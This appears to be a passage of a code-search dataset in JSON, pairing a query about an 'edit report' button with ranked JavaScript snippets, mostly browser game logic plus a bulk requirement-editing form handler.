class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game10'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div>\";\n\n\t\telse if(scoreboard_sport == \"Chess\")\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>Chess 1</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game3'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game4'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game7'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game8'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game10'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div>\";\n\n\t\telse if(scoreboard_sport == \"Curling\")\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>Curling 1</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game3'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game4'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game7'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game8'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game10'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div>\";\n\n\t\telse\n\t\t\t// Games for scoreboard\n\t\t\tvar g1 = \"<div class='game1'><div class='status'>Football 1</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game2'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game3'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game4'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game5'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game6'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game7'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game8'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game9'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div><div class='game10'><div class='status'>FINAL</div><div class='team1'>NYY</div><div class='team1score'>4</div><div class='team2'>NYM</div><div class='team2score'>3</div></div>\";\n\n\n\t\t// load new scoreboard\n\t\tgames.innerHTML = g1;\n\t}\n}", "title": "" }, { "docid": "707a4754626a0e9baa724aceea4198c1", "score": "0.55040616", "text": "dealThreeCards(isUpper, counter) {\n let topCard = [];\n\n topCard.push(this.gameClobyosh.dealer.getTopCard());\n topCard.push(this.gameClobyosh.dealer.getTopCard());\n topCard.push(this.gameClobyosh.dealer.getTopCard());\n let x = this.upperX;\n let yBase = HAND_DIST_FROM_HORISONTAL_BORDERS;\n let playerToGetCards = this.gameClobyosh.upperHandPlayer;\n if (!isUpper) {\n playerToGetCards = this.gameClobyosh.lowerHandPlayer\n yBase = this.game.renderer.height - HAND_DIST_FROM_HORISONTAL_BORDERS;\n x = this.lowerX;\n this.lowerX += 3;\n } else {\n this.upperX += 3;\n }\n\n let timeline = this.tweens.createTimeline();\n\n for (let i = 0; i < 3; i++) {\n playerToGetCards.addCard(topCard[i]);\n\n timeline.add({\n targets: this.spritesHash[topCard[i]],\n y: yBase,\n x: HAND_DIST_FROM_VERTICAL_BORDERS + HAND_DIST_BETWEEN_CARDS * (i + x),\n duration: SPEED,\n offset: 0,\n ease: 'Linear',\n depth: CARD_CLOBYOSH_IDS.length + CARD_CLOBYOSH_IDS.length + (i + x)\n });\n }\n\n timeline.play();\n\n timeline.on('complete', () => {\n counter += 3;\n if (counter < 12) {\n this.dealThreeCards(!isUpper, counter);\n } else {\n // Turn the lower hand cards to show front\n this.gameClobyosh.lowerHandPlayer.getHand().forEach(e => {\n this.showFront(e);\n });\n }\n });\n }", "title": "" }, { "docid": "04181646788bdbb3694b96a57740ae54", "score": "0.550363", "text": "function checkGameOver() {\r\n // console.log(\"gGame.markedCount=\",gGame.markedCount,\" gGame.shownCount=\",gGame.shownCount);\r\n if (\r\n gGame.markedCount === gLevel.MINES &&\r\n gGame.shownCount === gLevel.SIZE * gLevel.SIZE - gLevel.MINES\r\n ) {\r\n document.querySelector(\".smiley\").innerText = SUNGLASSES;\r\n }\r\n}", "title": "" }, { "docid": "9d4534bc877dab0a77fc0f517526cc6e", "score": "0.550328", "text": "function determineWinnings()\n {\n if(strikes == 3) {\n outs++;\n lossNumber++;\n createjs.Sound.play(\"strike3\");\n showLossMessage();\n }\n else if(popFlies == 3) {\n outs++;\n lossNumber++;\n createjs.Sound.play(\"out\");\n showLossMessage();\n }\n else if (singles == 3) {\n runs++;\n winnings = playerBet * 10;\n winNumber++;\n createjs.Sound.play(\"hit\");\n showWinMessage();\n }\n else if(doubles == 3) {\n runs = runs + 2;\n winnings = playerBet * 20;\n winNumber++;\n createjs.Sound.play(\"hit\");\n showWinMessage();\n }\n else if (triples == 3) {\n runs = runs + 3;\n winnings = playerBet * 30;\n winNumber++;\n createjs.Sound.play(\"hit\");\n showWinMessage();\n }\n else if (homeRuns == 3) {\n runs = runs + 4;\n winnings = playerBet * 100;\n winNumber++;\n createjs.Sound.play(\"cheer\");\n showWinMessage();\n }\n else if(groundRollDoubles == 3){\n runs = runs + 2;\n winnings = playerBet * 20;\n winNumber++;\n createjs.Sound.play(\"hit\");\n showWinMessage();\n }\n else if (homeRuns == 1) {\n runs++;\n winnings = playerBet * 10;\n winNumber++;\n createjs.Sound.play(\"cheer\");\n showWinMessage();\n }\n else if (homeRuns == 2) {\n runs = runs + 3;\n winnings = playerBet * 10;\n winNumber++;\n createjs.Sound.play(\"cheer\");\n showWinMessage();\n }\n else {\n lossNumber++;\n jackpot = jackpot + playerBet;\n showLossMessage();\n }\n }", "title": "" }, { "docid": "cc8dc662662343a13a1749c3b725f4fa", "score": "0.54976887", "text": "function GameScore(game, depth) {\n var score = CheckForWinner(game);\n if (score === 1)\n return 0;\n else if (score === 2)\n return depth-10;\n else if (score === 3)\n return 10-depth;\n}", "title": "" }, { "docid": "0b85d8ca8e4d635405f03d04831883ce", "score": "0.5494611", "text": "function spawnClouds(){\r\nif(frameCount%60 === 0){\r\n cloud = createSprite(width + 20,Math.round(random(30,height - 300)),40,10);\r\ncloud.velocityX=-3;\r\ncloudbunch.add(cloud);\r\ncloud.addImage(\"cloud\", cloud_img);\r\ncloud.depth = trex.depth;\r\ntrex.depth = trex.depth + 1;\r\nconsole.log(\"trex\"+trex.depth);\r\nconsole.log(\"cloud\"+cloud.depth);\r\ncloud.lifetime = 250;\r\n}\r\n}", "title": "" }, { "docid": "2071d9ed492f7b0a6d4bdbb84526d2a6", "score": "0.5493951", "text": "jy_good_3(person, team, totals, stats) {\n person.m3 += 1;\n person.a3 += 1;\n person.tp += 3;\n totals.m3 += 1;\n totals.a3 += 1;\n person.fa += 1;\n person.fg += 1;\n totals.fa += 1;\n totals.fg += 1;\n\n //increase bench points\n if(!person.starter) {\n stats.benchpts += 1;\n console.log(\"benchpts: \" + stats.benchpts)\n }\n\n var total_attempts = 0;\n var total_fgs = 0;\n var total_threes_attmept = 0;\n var total_threes = 0;\n for(players = 0; players < team.length; players++)\n {\n total_attempts += (team[players].fa + team[players].a3);\n total_fgs += (team[players].fg + team[players].m3);\n total_threes += team[players].m3;\n total_threes_attmept += team[players].a3;\n }\n stats.fg = Number.parseFloat(total_fgs/total_attempts).toFixed(2);\n stats.tfg = Number.parseFloat(total_threes/total_threes_attmept).toFixed(2);\n if(home) {\n app.home_score += 3;\n score = app.home_score;\n }\n else {\n app.vis_score += 3;\n score = app.vis_score;\n }\n totals.tp = score;\n // add to play by play - VIS\n app.add_play(`${person.name} hit a 3-point jumper`);\n\n // change possession\n if(home) {\n app.vis_possession();\n }\n else {\n app.home_possession();\n }\n }", "title": "" }, { "docid": "3723404def41d2d8a37b96a001862596", "score": "0.5492324", "text": "function stand() {\r\n game.current_player_index++;\r\n if (game.current_player_index == game.players.length - 1) {\r\n dealerPlay();\r\n checkEndGame();\r\n return;\r\n } else {\r\n print();\r\n }\r\n}", "title": "" }, { "docid": "bad98e72c0e6a54752b411049745db7c", "score": "0.5490644", "text": "jp_good_paint(person, team, totals, stats) {\n person.fa += 1;\n person.fg += 1;\n person.tp += 2;\n totals.fa += 1;\n totals.fg += 1;\n stats.paint += 2;\n\n //increase bench points\n if(!person.starter) {\n stats.benchpts += 1;\n console.log(\"benchpts: \" + stats.benchpts)\n }\n\n if(home) {\n app.home_score += 2;\n score = app.home_score;\n }\n else {\n app.vis_score += 2;\n score = app.vis_score;\n }\n totals.tp = score;\n app.add_play(`${person.name} made a shot in the paint`);\n var total_attempts = 0;\n var total_fgs = 0;\n for(players = 0; players < team.length; players++)\n {\n total_attempts += team[players].fa;\n total_fgs += (team[players].fg + team[players].m3);\n }\n stats.fg = Number.parseFloat(total_fgs/total_attempts).toFixed(2);\n // change possession\n if(home) {\n app.vis_possession();\n }\n else {\n app.home_possession();\n }\n }", "title": "" }, { "docid": "5b6b934ec9270b0a5ed7cbbc6e7d6a4a", "score": "0.54881376", "text": "function newGame(){\n\n blownUp = 0;\n setDifficulty();\n}", "title": "" }, { "docid": "c491864ec2009cc2d758a102cc73377a", "score": "0.5483603", "text": "function isKing(){\n //count 3\n count = 3;\n faceCard = true;\n}", "title": "" }, { "docid": "01f9a0df1a969af5891e9c765435640e", "score": "0.5482096", "text": "lostLive() {\n this.lives -= 1;\n if (this.lives === 0) {\n gameOver();\n }\n }", "title": "" }, { "docid": "34ef20297c592b8c9ca8f5ca7c203688", "score": "0.54733235", "text": "function runSecondToHome()\n{\n\tplayerOnSecond = false;\n\t$('#p3').show().animate({\"left\": '-=103', \"top\": '+=95'}, 900, function(){\n\t\t$('#p3').removeAttr('style').hide();\n\t\t$('#p4').show().animate({\"left\": '+=103', \"top\": '+=120'}, 900, function(){\n\t\t\tupdateScore();\n\t\t\t$('#p4').removeAttr('style').hide(); \n\t\t});\n\t});\t\n\n}", "title": "" }, { "docid": "c6ad53f14ad4e37ef69a68c72c0a8bd1", "score": "0.5471738", "text": "function nextSeason() {\n currentSeason += 1;\n if (currentSeason > 3) {\n currentSeason = 0;\n }\n setupBG(); // change background color, tree texture, and plant texture\n}", "title": "" }, { "docid": "041b565ce2d1479e0eac6c2bbe8d6ebe", "score": "0.5462987", "text": "function startOver() {\n level = 0;\n gamePattern = [];\n gameStarted = false;\n}", "title": "" }, { "docid": "60b36b5bac3802971adaef290c5aaead", "score": "0.5462425", "text": "function playAgain() {\n\tgameOver = false;\n\tplayer.color = \"green\";\n\tlevel = 1;\n\tscore = 0;\n\tlives = 3;\n\tbadArc.speed = 2;\n\tgoodArc.speed = 2;\n}", "title": "" }, { "docid": "cc044998cee3b8d1e296bcc4aa34273d", "score": "0.54622406", "text": "function turn() {\n return isOver(game) ? PLAYER_NONE : (game.startPlayer + game.moves.length) % 2\n}", "title": "" }, { "docid": "6b6fada59bee95c1f0954aa9c1dea382", "score": "0.5461643", "text": "function initGame() {\n // togloom ehellee gedeg tolowt oruulna\n isNewGame = true;\n //toglogchiin eeljiig hadgalah huwisagch player\n activePlayer = 0;\n\n // toglogchdiin tsugluulsan onoog hadgalah huwsagch\n scores = [0, 0];\n //toglogchiin eeljindeee tsugluulj bga onoog hadgalah huwsagch\n roundScore = 0;\n\n // document.querySelector(\"#score-0\").textContent = dice;\n // document.querySelector(\"#score-1\").textContent = dice;\n\n //proggram ehlehed beltgey\n document.getElementById(\"score-0\").textContent = \"0\";\n document.getElementById(\"score-1\").textContent = \"0\";\n document.getElementById(\"current-0\").textContent = \"0\";\n document.getElementById(\"current-1\").textContent = \"0\";\n // toglogchdiin neriig butsaaj gargah\n document.getElementById(\"name-0\").textContent = \"player 1\";\n document.getElementById(\"name-1\").textContent = \"player 2\";\n\n document.querySelector(\".player-0-panel\").classList.remove(\"winner\");\n document.querySelector(\".player-1-panel\").classList.remove(\"winner\");\n\n document.querySelector(\".player-0-panel\").classList.remove(\"active\");\n document.querySelector(\".player-1-panel\").classList.remove(\"active\");\n document.querySelector(\".player-0-panel\").classList.add(\"active\");\n\n diceDom.style.display = \"none\";\n}", "title": "" }, { "docid": "631e56e694eb1c9227abb2254ff25c3d", "score": "0.5459652", "text": "function keyPressed() {\n \n // Check if we are in end game\n if (!endgame) {\n\n // Check for key press s\n if (keyCode == KEY_S && !drowning) {\n //increase the value of the current season variable to change season\n currentSeason++;\n //if the current season is equal to winter\n if(currentSeason > 3) {\n //set the new current season value to summer\n currentSeason = 0;\n }\n //run the changeSeason function\n changeSeason(currentSeason);\n }\n }\n}", "title": "" }, { "docid": "7be1e534a95289ab1501cf823964e9bb", "score": "0.5459487", "text": "function LivesCount(player)\n{\n if (player.name === \"Player1\")\n {\n if (player1.lives > 0 && playerDead(player))\n {\n audio(2);\n map[0][0] = 4;\n player.x = 0;\n player.y = 0;\n player1.lives--;\n $(\"#p1lives\").html(`Lives: ${player1.lives}`);\n drawWorld();\n }\n else if (player1.lives === 0 && playerDead(player))\n {\n audio(3);\n $(\"#p1lives\").html(\"GAME OVER!!\");\n $(\"#p2lives\").html(\"Player 2 is the WINNER!!\");\n player1.lives--;\n setTimeout(() => {playAgain(player2)}, 300);\n }\n player1.bombs++;\n }\n else if (player.name === \"Player2\")\n {\n if (player2.lives > 0 && playerDead(player))\n {\n audio(2);\n map[8][8] = 5;\n player.x = 8;\n player.y = 8;\n player2.lives--;\n $(\"#p2lives\").html(`Lives: ${player2.lives}`);\n drawWorld();\n }\n else if (player2.lives === 0 && playerDead(player))\n {\n audio(3);\n $(\"#p2lives\").html(\"GAME OVER!!\");\n $(\"#p1lives\").html(\"Player 1 is the WINNER\");\n player2.lives--;\n setTimeout(() => {playAgain(player1)}, 300);\n }\n player2.bombs++;\n }\n}", "title": "" }, { "docid": "16c09b9c229dff07ca835257f47e7f64", "score": "0.5458161", "text": "function start() {\n function who_first() {\n const u_first = prompt(\"Go First? Y/N\");\n if (u_first === \"Y\" || u_first === \"y\") {\n turn = \"Player\";\n next();\n } else if (u_first === \"N\" || u_first === \"n\") {\n turn = \"Computer\";\n next();\n } else {\n who_first();\n }\n }\n game = [];\n round = 0;\n com_prev = null;\n your_prev = null;\n for (let i = 0; i < size; i = i + 1) {\n game[i] = [];\n for (let j = 0; j < size; j = j + 1) {\n game[i][j] = stringify(size * i + j + 1);\n }\n }\n\n who_first();\n}", "title": "" }, { "docid": "40b433123549bed51795eaf35e316745", "score": "0.5458088", "text": "function gameEnd() {\n step = TITLE;\n result_frame = 60;\n result_score = score;\n prizeupdate();\n}", "title": "" }, { "docid": "5d9ff1605afe63ca8086b898f90a23a4", "score": "0.5452225", "text": "function playGame() {\t\t\n\n\t\tif (turn % 2 === 0) {\n\t\t\tvar t = 0;\n\t\t} else {\n\t\t\tvar t = 1;\n\t\t}\n\n\t\t\tt1.addEventListener('click', t1E.bind(this, t), false)\n\t\t\tt2.addEventListener('click', t2E.bind(this, t), false)\n\t\t\tt3.addEventListener('click', t3E.bind(this, t), false)\n\t\t}", "title": "" }, { "docid": "225039a1e1ddf73e8db9a0fd5d0b320e", "score": "0.5450399", "text": "function whoseTurn() {\n\t\tcount++;\n\t\tif (count % 2 === 0 ) {\n\t\t\treturn 'O';\n\t\t} else {\n\t\t\treturn 'X';\n\t\t}\n\t}", "title": "" }, { "docid": "8808e88910f2c022d5b84f9cc7a05a9a", "score": "0.5449917", "text": "function playAgain() {\n\tgameOver = false;\n\tparachuters.x = [];\n\tparachuters.y = [];\n\tscore = 0;\n\tlives = 3;\n\tboat.x = (canvas.width - boat.width)/ 2;\n\tplane.x = canvas.width;\n}", "title": "" }, { "docid": "314cc7a421c23431299fbe0ba65d850d", "score": "0.5449234", "text": "function gamePlay() {\n\t\tif (totalScore == winningNumber) {\n\t\t\twins++;\n\t\t\t$(\".result\").html(\"You win!!\");\n\t\t\treset();\n\t\t}\n\t\tconsole.log(totalScore);\n\t\tconsole.log(winningNumber);\n\t\tif (totalScore > winningNumber) {\n\t\t\tlosses++;\n\t\t\t$(\".result\").html(\"You lose..\");\n\t\t\treset();\n\t\t}\n\t}", "title": "" }, { "docid": "dd9b56818550ae7b7e850ba8165258de", "score": "0.54438835", "text": "function currentPlayer(currentPlayer){\n currentPl = currentPlayer%2 === 0 ? p2 : p1;\n}//currentPlayer()", "title": "" }, { "docid": "644e3336bbf302e1dbc416bd77ffdcf4", "score": "0.5441016", "text": "function scoreGame(game,depth) {\n if (game(playerChoice) == game.win) {\n return 10 - depth;\n } else if (game(computerChoice) == game.win) {\n return depth - 10;\n } else {\n return 0;\n }\n}", "title": "" }, { "docid": "fd0cb1524abb1425a51dc4a8175f2ead", "score": "0.54397106", "text": "checkFullHouse() {\n let threes;\n let gotThree = false; let gotTwo = false;\n for (let key in this.cardsCount) {\n if (this.cardsCount[key] === 3) {\n threes = key;\n gotThree = true;\n }\n if (this.cardsCount[key] === 2) {\n gotTwo = true;\n }\n }\n if (gotThree && gotTwo) {\n this.remainingHand = [];\n this.score = {\n rank: 6,\n value: [threes]\n }\n }\n }", "title": "" }, { "docid": "d308e67e3be9248a3f44e0ee15cb796b", "score": "0.5438653", "text": "function drawHalfCourt() {\r\n var width = 3;\r\n var height = 3;\r\n var topY = 1.5*height;\r\n while(topY < gameY*screenModifierY - 1.5*height) {\r\n drawRect(gameX*screenModifierX/2 - .5*width, topY, width, height, \r\n\t\t 'rgb(240,240,240)');\r\n topY = topY + 2*height;\r\n }\r\n \r\n}", "title": "" } ]
3afc34da2e3ed108777ee66d431a5468
This will show the edit report page and then prepend a button with the report details. These details are then sent to submitEditedReport function below when they click the edit report button.
[ { "docid": "4f07c204259acd336b8bb2ca056a6469", "score": "0.7772561", "text": "function editReport(officer, report, date) {\n document.getElementById(\"reportResults\").style.display = \"none\";\n document.getElementById(\"EditReport\").style.display = \"block\";\n\n var editButton = '<button type=\"submit\" class=\"btn btn-primary btn-sm\" \\\n onclick=\"submitEditedReport(\\'' + officer + '\\',\\'' + report.replace(/'/g, \"\\\\'\") + '\\',\\'' + date + '\\')\">\\\n <span>Edit Report</span></button></th><button type=\"submit\" class=\"btn btn-primary\"\\\n onclick=\"homepageBack()\"><span>Back</span></button>';\n\n $('#editReportButtonGroup').empty();\n $('#editReportButtonGroup').prepend(editButton);\n}", "title": "" } ]
[ { "docid": "77b0edbefca33cd4b39a4bf66b279395", "score": "0.623161", "text": "function showEditScreen(){\n\t\n\tif(stock_invAdjustId!='' && stock_invAdjustId!='undefined' && stock_invAdjustId>0 && stock_status!='' && stock_status!='undefined' && stock_status=='C'){\n\t\tvar counter=0;\n\t\twhile(counter<totalRecords){\n\t\t\tupdatechangeIndex(counter);\n\t\t\tcounter++;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2d4a65165b9b3844f8ecc74ff2aa8935", "score": "0.59587425", "text": "function openAddReportModal() {\n clearUserMarker();\n disableClickPlacement();\n hideInfoPanel();\n showScrim();\n $('#add-report-modal').addClass('show');\n}", "title": "" }, { "docid": "728859ea09a35fae39481d50ff3820b5", "score": "0.5878755", "text": "function createEditButton(_onDialogCloseCallback, _onSuccessCallback, _onErrorCallback)\n {\n var editButton = percJQuery(`<a class=\"perc-lmg-edit\" alt=\"${I18N.message(\"perc.ui.gadgets.licenseMonitor@Edit\")}\" href=\"#\">${I18N.message(\"perc.ui.gadgets.licenseMonitor@Edit\")}</a>`).on(\"click\",function(event)\n {\n event.preventDefault();\n _createActivationDialog(_onDialogCloseCallback, _onSuccessCallback, _onErrorCallback, true);\n });\n // Append the Edit button to the basic information DIV\n return editButton;\n }", "title": "" }, { "docid": "ca747f5968562a545f7ee20f951ad02a", "score": "0.5835875", "text": "function bulkEditActionForm(setObject, folderId, traceTreeRootFolderId, traceTree){\r\n\t\tvar targetArtifact = \"\";\r\n\t\tvar targetValue = \"\";\r\n\t\tvar targetRequirements = \"\";\r\n\t\tvar displayListReportDataForm = document.getElementById(\"displayListReportDataForm\"); \r\n\t\t\r\n\t\t// now lets get target requirements. These are the selected reqs.\r\n\t\t// we will need to get all the reqs and concatenate them with :##:\r\n\t\t// if only one req is displayed in data grid, the checkbox stops behaving like an array\r\n\t\t// and behaves like a single element. in this scenario checkbox.length craps out.\r\n\t\t// to catch this scenario we have to do this...\r\n\t\tif (displayListReportDataForm.requirementId.length == null){\r\n\t\t\t// only one requirement row in data grid.\r\n\t\t\tif (displayListReportDataForm.requirementId.checked == true ){\r\n\t\t\t\ttargetRequirements += displayListReportDataForm.requirementId.value + \":##:\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// multiple requirement rows in data grid.\r\n\t\t\tfor (i=0; i<displayListReportDataForm.requirementId.length;i++){\r\n\t\t\t\tif (displayListReportDataForm.requirementId[i].checked == true ){\r\n\t\t\t\t\ttargetRequirements += displayListReportDataForm.requirementId[i].value + \":##:\";\r\n\t\t\t\t}\r\n\t\t\t}\t\t\r\n\t\t\t\r\n\t\t}\r\n\t\r\n\t\r\n\t\t// lets make sure that at least some requirements are selected.\r\n\t\tif (targetRequirements == '') {\r\n\t\t\talert(\"Please select at least one Requirement to Update\"); \r\n\t\t\treturn(0);\r\n \t\t}\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t// first lets make the ContentCenter invisible. This will be reset\r\n\t\t// with data with Ajax comes back.\r\n\t\t// The Ajax UI principle here is set the target of AJAX to invisible\r\n\t\t// and when AJAX responds display it.\r\n\t\t// document.getElementById(\"bulkEditActionResponse\").style.display =\r\n\t\t// 'none';\r\n\t\t// document.getElementById(\"contentCenterF\").style.display = 'none';\r\n\t\t\r\n\t\t\r\n\t\tif (setObject == 'addComment'){\r\n\t\t\t// addRequirementToBaseline is a drop down, so some special handling.\r\n\t\t\tvar bulkCommentNote = document.getElementById(\"bulkCommentNote\");\r\n\t\t\ttargetValue = bulkCommentNote.value;\r\n\t\t\ttargetArtifact = 'addComment';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'addRequirementToBaseline'){\r\n\t\t\t// addRequirementToBaseline is a drop down, so some special handling.\r\n\t\t\tvar addRequirementToBaseline = document.getElementById(\"addRequirementToBaseline\");\r\n\t\t\ttargetValue = addRequirementToBaseline[addRequirementToBaseline.selectedIndex].value;\r\n\t\t\ttargetArtifact = 'addRequirementToBaseline';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'removeRequirementsFromBaseline'){\r\n\t\t\t// removeRequirementsFromBaseline is a drop down, so some special handling.\r\n\t\t\tvar removeRequirementsFromBaseline = document.getElementById(\"removeRequirementsFromBaseline\");\r\n\t\t\ttargetValue = removeRequirementsFromBaseline[removeRequirementsFromBaseline.selectedIndex].value;\r\n\t\t\ttargetArtifact = 'removeRequirementsFromBaseline';\r\n\t\t}\t\t\r\n\t\t\r\n\t\tif (setObject == 'setOwner'){\r\n\t\t\tvar setOwnerObject = document.getElementById(\"setOwner\");\r\n\t\t\t\r\n\t\t\tvar setOwner = setOwnerObject[setOwnerObject.selectedIndex].value;\r\n\t\t\t\r\n\t\t\ttargetValue = setOwner;\r\n\t\t\ttargetArtifact = 'owner';\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\tif (setObject == 'setPriority'){\r\n\t\t\tpriority = document.getElementById(\"setPriority\");\r\n\t\t\ttargetValue = priority[priority.selectedIndex].value;\r\n\t\t\ttargetArtifact = 'priority';\r\n\t\t}\r\n\r\n\t\tif (setObject == 'setExternalURL'){\r\n\t\t\texternalURL = document.getElementById(\"setExternalURL\");\r\n\t\t\t\r\n\t\t\tif (externalURL.value.length == 0){\r\n\t\t\t\talert (\"Please enter value for External URL\");\r\n\t\t\t\texternalURL.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\texternalURL.focus();\r\n\t\t\t\treturn(0);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\ttargetValue = externalURL.value;\r\n\t\t\ttargetArtifact = 'externalURL';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'setPctComplete'){\r\n\t\t\tpctComplete = document.getElementById(\"setPctComplete\");\r\n\t\t\t\r\n\t\t\tif (isNaN(pctComplete.value)){\r\n\t\t\t\talert (\"Please enter a valid number for percent complete\");\r\n\t\t\t\tpctComplete.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\tpctComplete.focus();\r\n\t\t\t\treturn(0);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif ((pctComplete.value < 0) || (pctComplete.value > 100) ) {\r\n\t\t\t\talert (\"Please enter a valid number between 0 and 100 for percent complete\");\r\n\t\t\t\tpctComplete.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\tpctComplete.focus();\r\n\t\t\t\treturn(0);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\ttargetValue = pctComplete.value;\r\n\t\t\ttargetArtifact = 'pctComplete';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'setFolder'){\r\n\t\t\tsetFolder = document.getElementById(\"setFolder\");\r\n\t\t\ttargetValue = setFolder[setFolder.selectedIndex].value;\r\n\t\t\ttargetArtifact = 'setFolder';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'setTestingStatus'){\r\n\t\t\ttestingStatus = document.getElementById(\"testingStatus\");\r\n\t\t\ttargetValue = testingStatus[testingStatus.selectedIndex].value;\r\n\t\t\ttargetArtifact = 'setTestingStatus';\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\tif (setObject == 'replaceText'){\r\n\t\t\tsearchString = document.getElementById(\"searchString\");\r\n\t\t\t\r\n\t\t\tif (searchString.value.length == 0){\r\n\t\t\t\talert (\"Please enter value for Search String to be replaced\");\r\n\t\t\t\tsearchString.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\tsearchString.focus();\r\n\t\t\t\treturn(0);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treplaceString = document.getElementById(\"replaceString\");\r\n\t\t\t\r\n\t\t\tif (replaceString.value.length == 0){\r\n\t\t\t\talert (\"Please enter value for replace String to be replaced\");\r\n\t\t\t\treplaceString.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\treplaceString.focus();\r\n\t\t\t\treturn(0);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tvar caseObject = document.getElementById(\"case\");\r\n\t\t\tvar replaceInObject = document.getElementById(\"replaceIn\");\r\n\t\t\t\r\n\t\t\tvar searchStringValue = searchString.value;\r\n\t\t\tvar replaceStringValue = replaceString.value;\r\n\t\t\tvar caseValue = caseObject[caseObject.selectedIndex].value;\r\n\t\t\tvar replaceInValue = replaceInObject[replaceInObject.selectedIndex].value;\r\n\t\t\t\r\n\t\t\ttargetValue = searchStringValue + \":##:\" + replaceStringValue + \":##:\" + caseValue + \":##:\" + replaceInValue ;\r\n\t\t\t\r\n\t\t\ttargetArtifact = 'replaceText';\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\tif (setObject == 'deleteRequirementsPrompt'){\r\n\t\t\tvar prompt= \"<div class='alert alert-success'>\";\r\n\t\t\tprompt += \"<span class='headingText'>Are you sure you want to delete this requirement ?<br><br>\";\r\n\t\t\tprompt += \"Please note that this Requirement, it's 